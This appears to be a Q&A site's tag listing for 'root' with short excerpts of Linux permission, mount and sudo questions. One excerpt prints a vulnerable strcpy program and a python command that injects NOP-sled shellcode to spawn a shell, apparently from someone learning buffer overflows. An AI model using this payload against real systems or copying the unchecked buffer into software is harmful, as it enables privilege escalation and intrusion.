root

How to programmatically determine whether superuser elevation is necessary to invoke code?

How to programmatically determine whether superuser elevation is necessary to invoke code? When providing code to another, it appears to be good practice to remove all elevation-specific code — that is, provide apt update rather than sudo apt update (or su -c ‘apt update’). However, this causes all kinds of problems for those new to …

Total answers: 1

I accidently changed my root user's name and now have lost all root permissions

I accidently changed my root user's name and now have lost all root permissions I was messing around on my minecraft server with usermod and at some point I copied a command from a forum with incorrect terms. now when I sudo cat /etc/passwd, the output for my root user is as follows 2r(M@kRf5N#u2DW2root:x:0:0:root:/root:/bin/bash with …

Total answers: 1

Run shellcode as root in a buffer overflow attack?

Run shellcode as root in a buffer overflow attack? I’m trying to exploit the following code: #include <stdio.h> #include <string.h> int main(int argc, char** argv){ char buffer[100]; strcpy(buffer, argv[1]); return 0; } with the following command ./vuln $(python -c "import sys; sys.stdout.buffer.write(b’x90’*60 + b’x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x89xc1x89xc2xb0x0bxcdx80x31xc0x40xcdx80′ + b’x40xd6xffxff’*6)") The first part is the NOPs, the second part …

Total answers: 2

Files created by user in a mounted partition show root as owner

Files created by user in a mounted partition show root as owner I have a dual boot system (Windows 10/Archlinux) and I have created a NFTS partition which is mounted at startup via /etc/fstab so I can access it from both OS’es. The fstab file shows that the partition is mounted with read and write …

Total answers: 1

How does rfkill work without being root (or using sudo)?

How does rfkill work without being root (or using sudo)? I saw this statement at the end of this answer: PS: I have no idea why rfkill works when run as an unprivileged user. On my Mint, it doesn’t have a setuid or setgid bit. I was curious, and looked on my Arch system. Here’s …

Total answers: 1

How can you turn a root user into a normal user?

How can you turn a root user into a normal user? When I first set up ubuntu, I did most of my stuff in the root account. However, working exclusively in the root account is a bad idea. How can I turn my root account into a normal account without root privileges without deleting it? …

Total answers: 1

Home folder in /etc

Home folder in /etc I was yesterday trying to mount a partition & playing around with firejail, when I realized I have a ${HOME} folder (written just like that) in my /etc folder, even if my home folder is in the root folder (so now I have two, the ${HOME} and the /home.) I’m wondering …

Total answers: 1

New notebook and factory partition

New notebook and factory partition First time using a linux, I’m using Debian 12. My notebook arrived with the following partition (512gb SSD), in this order (left to right in the disk viewer): /boot/efi – 537mb /root – 20gb recover (unmounted) – 10gb Swap – 16gb /home – 466gb Since I’ve started using it, I …

Total answers: 1

Root folder is running out of space

Root folder is running out of space I am getting an error: / is running out of space when I work with the creation of docker images. Then I tried to list the top 10 large files on my computer’s filestystem. It listed out 10 files/folders that are in big size, some of them are …

Total answers: 1

Is there some universally recommended Reserved block count (for root) for large Ext4 drives?

Is there some universally recommended Reserved block count (for root) for large Ext4 drives? By the following question: Is there some universally recommended Reserved block count (for root) for large Ext4 drives? I specifically mean the following: Let us consider (almost) everyone has a rather large root drive (partition) nowadays. Let us consider for example …

Total answers: 1

Can't enter in sudo on Debian 12

Can't enter in sudo on Debian 12 I’m sitting on a Virtual Machine on Debian 12, the password for root is simple, it’s the letter q, but when I write, say, sudo -i and enter the password, the terminal only displays Sorry, try again. The thing is that when I go into Rescue Mode and …

Total answers: 2

Is setting CONFIG_STRICT_DEVMEM=y safe?

Is setting CONFIG_STRICT_DEVMEM=y safe? I was playing around with /dev/mem and found out that even as root user you cannot access the whole file if CONFIG_STRICT_DEVMEM=y. It was new to me that there are mechanisms to prevent the root user from doing what he likes. But as root I could simply alter the Linux kernel …

Total answers: 1

Is it possible to grant a specific privilege to a user without sudo?

Is it possible to grant a specific privilege to a user without sudo? I’m not going to add sudo in my Buildroot environment for RPi 3 B+ since I just need apache2 to update my system time with date -s TIME. Is there a way to grant this permission without installing and configure sudo? Asked …

Total answers: 1

How can I run Doccano as the root user without knowing my root password on EC2?

How can I run Doccano as the root user without knowing my root password on EC2? I use Doccano on an AWS EC2 instance running Ubuntu 22.04. To run Doccano, I use doccano webserver –port 8000. But now I’d like to have Doccano serve its webpages on port 80. Therefore, I have to run Doccano as root. …

Total answers: 1

Which first level directories in Linux should be owned by user?

Which first level directories in Linux should be owned by user? Today, I have accidentally noticed that the following directories of the / are owned by user, rather than root: /home /lost+found /media /mnt /opt /snap /srv /swapfile /var I have no idea how that could happen. It seems only logical that some of them …

Total answers: 1

/etc/fstab mount as user?

/etc/fstab mount as user? Good Morning all, When I use my fstab command below, it seems to be mounting the directory as root causing me to be unable to edit anything: 192.168.1.74:/volume1/Barry/Plex/tv2 /mnt/plex/media/tv2 nfs nofail,defaults,rw,user, 0 0 192.168.1.74:/volume2/Barry2/Plex/tv /mnt/plex/media/tv2 nfs nofail,defaults,rw,user, 0 0 dandy@thehost:/mnt/plex/media$ ls -l drwxrwxrwx 74 1024 users 36864 Jul 8 18:49 tv …

Total answers: 1

Struggling with fstab

Struggling with fstab I’m really struggling to understand my fstab file, I would like to mount the nfs so that all users can edit the directories (rw) but I seem to get ‘root:root’. My fstab file: 192.168.1.74:/volume1/Barry/Plex/tv /mnt/plex/media/tv nfs nofail defaults 0 0 Asked By: Dan Daley || Source nfs permissions are (mostly) controlled by …

Total answers: 4

Unable to reboot remote machine over ssh

Unable to reboot remote machine over ssh I am working with an embedded system and would like to initiate a reboot from a remote machine. I have tried various methods, including ssh -o StrictHostKeyChecking=no root@${HOST} /bin/systemctl reboot -i but nothing has really worked, the above gives me the following feedback: Failed to set wall message, …

Total answers: 1